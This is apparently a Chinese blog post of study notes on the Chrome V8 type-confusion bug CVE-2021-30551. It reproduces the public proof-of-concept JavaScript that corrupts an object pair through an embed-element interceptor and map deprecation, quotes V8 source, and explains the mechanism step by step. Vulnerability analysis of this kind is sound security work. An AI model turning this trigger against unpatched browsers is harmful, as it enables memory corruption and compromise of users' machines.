1. 程式人生 > 其它 >Chrome v8 型別混淆 CVE-2021-30551(只有原理上的一點理解)

Chrome v8 型別混淆 CVE-2021-30551(只有原理上的一點理解)

總共看了2天的POC,為了不讓成果流失,記錄一下。

Chrome 在野0day:CVE-2021-30551的分析與利用 (qq.com)主要參考

https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-30551.html 次要參考

關於原型汙染漏洞的完整指南 (qq.com)原型鏈參考

V8 是怎麼跑起來的 —— V8 中的物件表示_ThornWu-CSDN部落格V8 屬性物件

瀏覽器是如何工作的:Chrome V8讓你更懂JavaScript - 知乎 (zhihu.com)理解 Chrome 中的 map

首先需要了解一下 map 和object 的關係:

Object 中的 All own properties 儲存著屬性值,map 中儲存著屬性的狀態、描述等。

global_object = {};
 
setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed);
  document.body.appendChild(embed);
  object.corrupted_prop 
= value; embed.remove(); } createCorruptedPair = (value_1, value_2) => { const object_1 = {    __proto__: global_object }; object_1.regular_prop = 1; setPropertyViaEmbed(object_1, value_2, () => { Object.setPrototypeOf(global_object, null); object_1.corrupted_prop = value_1; }); const object_2
= { __proto__: global_object }; object_2.regular_prop = 1; setPropertyViaEmbed(object_2, value_2, () => { Object.setPrototypeOf(global_object, null); object_2.corrupted_prop = value_1; //在重入的過程中建立剛才不存在的命名屬性 object_1.regular_prop = 1.1 //設定 map 為 deprecated }); return [object_1, object_2];


const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);

jit = (object) => {
  return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
  jit(object_1);
jit(object_2);

首先,針對函式的形式需要理解,POC 中的函式宣告方式是箭頭函式。(注:JS 中一切都是物件)

FunctionName = (Arg1, Arg2) => { xxxxx }  // 針對多個引數的函式宣告、定義方式
()=> { xxxxxxxxx } // 無引數的 ,匿名函式

接著拆解 POC 進行理解,首先是對變數進行初始化:

注意 POC 最開頭的 global_object ,此處的花括號表明建立了一個空的物件。
然後申請了一個數組,其中只有一個元素,值為 1.1 。接著將 array 的屬性設定為 1。

接著呼叫createCorruptedPair 函式:

該函式的引數為 array 和 一個特製的浮點數。
const object_1 = {
    __proto__: global_object
  };    // 申明並定義了一個物件,該物件的原型是 global_object == NULL

接著訪問 object_1 的一個未知的屬性名(未定義過的),並將其設定為 1。

如果目標物件沒有這個未知的屬性名,那麼會呼叫 SetPropertyInternal 遍歷這個物件的原型鏈,如果能找到一個攔截器(interceptor),就會執行這個攔截器的函式來決定這個是否是一個“只讀屬性”的異常。此處的 SetPropertyInternal 會返回這個屬性不存在,然後會呼叫 AddDataProperty 函式來建立屬性。但是若在建立屬性之前已存在同名的該屬性,且此時的 map 為 deprecated 狀態(map 是儲存 v8 中物件的描述命名屬性),那麼只會更新屬性的狀態而不會去修改 map 的描述符(猜測是將狀態從消極轉為活躍)


Maybe<bool> Object::SetProperty(LookupIterator* it, Handle<Object> value, StoreOrigin store_origin, Maybe<ShouldThrow> should_throw) { if (it->IsFound()) { bool found = true; Maybe<bool> result = SetPropertyInternal(it, value, should_throw, store_origin, &found); if (found) return result; } [...] return AddDataProperty(it, value, NONE, should_throw, store_origin); } Maybe<bool> Object::SetPropertyInternal(LookupIterator* it, Handle<Object> value, Maybe<ShouldThrow> should_throw, StoreOrigin store_origin, bool* found) { [...] do { switch (it->state()) { [...] case LookupIterator::INTERCEPTOR: { if (it->HolderIsReceiverOrHiddenPrototype()) { Maybe<bool> result = JSObject::SetPropertyWithInterceptor(it, should_throw, value); //呼叫戶定義 JS 程式碼 if (result.IsNothing() || result.FromJust()) return result; } else { Maybe<PropertyAttributes> maybe_attributes = JSObject::GetPropertyAttributesWithInterceptor(it); if (maybe_attributes.IsNothing()) return Nothing<bool>(); if ((maybe_attributes.FromJust() & READ_ONLY) != 0) { return WriteToReadOnlyProperty(it, value, should_throw); } if (maybe_attributes.FromJust() == ABSENT) break; *found = false; return Nothing<bool>(); } break; } [...] *found = false; return Nothing<bool>(); //此處返回 }

繼續跟著程式碼走:

  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_1.corrupted_prop = value_1;
  });

呼叫 setPropertyViaEmbed 函式,引數為 object_1 ,浮點數和匿名函式。該函式定義如下:

setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;      //遍歷到攔截器後呼叫的js程式碼
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed); //將 embed(攔截器)設定到原型鏈中 
  document.body.appendChild(embed);
  object.corrupted_prop = value;    //通過訪問 object 中不存在的命名屬性觸發 SetPropertyInternal
  embed.remove();
}
該函式首先會建立一個 embed 元素,然後將自定義的 JS 函式指標傳給它,作為攔截器函式呼叫。接著呼叫
Object.setPrototypeOf 函式,將 global_object 的原型設定為 embed 物件(即加入原型鏈中)。呼叫
appendchild 函式將 embed 元素設定為 html body 部分的子節點(此處是必須的,不知原因)
再次訪問 corrupted_prop 這個未知屬性,會觸發 SetProperty 函式並由於這個未知型別不存在,會呼叫
SetPropertyInternal 函式到原型鏈中遍歷,而恰好此處是存在攔截器函式的,因此會呼叫使用者定義自定義的 JS
程式碼(匿名函式)。最後移除 embed 元素。
HTMLEmbedElement 是少數具有屬性攔截器的 DOM 類之一,每次使用者嘗試訪問 Embed 的 JS 包裝器的屬性
時將會執行特殊的方法,這個方法可以由使用者自定義,也就相當於可以在 v8 執行過程中重入到使用者 js 層
去執行使用者定義的程式碼。

看使用者定義的 JS 程式碼,引數為 object,value:

 Object.setPrototypeOf(global_object, null); //更改物件的原型鏈
 object_1.corrupted_prop = value_1;

使用者自定義函式首先將 global_object 的原型鏈設定為 NULL ,再建立剛剛訪問的不存在的屬性(首先會遇到不能訪問的情況,然後遍歷原型鏈,因為前面將 global_object 的原型鏈設定為 NULL ,所以會直接呼叫 AddDataProperty 函式為其建立新的屬性。但實驗中將前面的函式註釋掉仍然能正常執行,挺疑惑的),並將其值設定為 value_1 。

首先需要解決一個問題:什麼時候 map 的狀態被更新為 deprecated ?

因為沒有去看程式碼,通過對幾次資料的變化,粗略推出:當原來的物件的 map 改變時,以 O1.A = 1 為例,
當再次新增未知屬性,O1.B = 1.2 時,map 會發生更新在新地址重新建立一個 map
(因為 map 可共享,因此若直接更改則會導致其它共享此 map 的物件在不知道的情況下被修改了 map),
而上一個 O1 所佔有的 map 會被更新為 deprecated 狀態。

緊接著對 object_2 進行操作

  const object_2 = {
    __proto__: global_object
  };
  object_2.regular_prop = 1;

  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1;  //在重入的過程中建立剛才不存在的命名屬性
    object_1.regular_prop = 1.1         //設定 map 為 deprecated
  });
同 object_1 的操作基本相同,但在匿名函式中的不同,此處的不同是在
object_1.regular_prop = 1.1 ,
注意兩個時間點:① corrupted_prop = value_1 時,此時的 map 被 O1 、O2 共享
② object_1.regular_prop = 1.1 時,新建一個 map ,原來的 map 狀態改為 deprecated。
此時,當再次修改 object2 的屬性值時,僅僅只修改值(改指標)而不去修改描述符(DescriptorArray),
導致的問題就是,若原來的值所佔空間為8位元組,則可以讀取8位元組的空間,當新建的值只有2位元組時,會使得其多讀6位元組的值

可能會疑惑,明明只需要一個物件就可以完成操作,為什麼需要兩個物件?從作者自己定義的函式名可以,本來就是為了建立一對可以多讀、多寫的記憶體物件。當然也有可能是為了完成後面的 exp 構造或觸發異常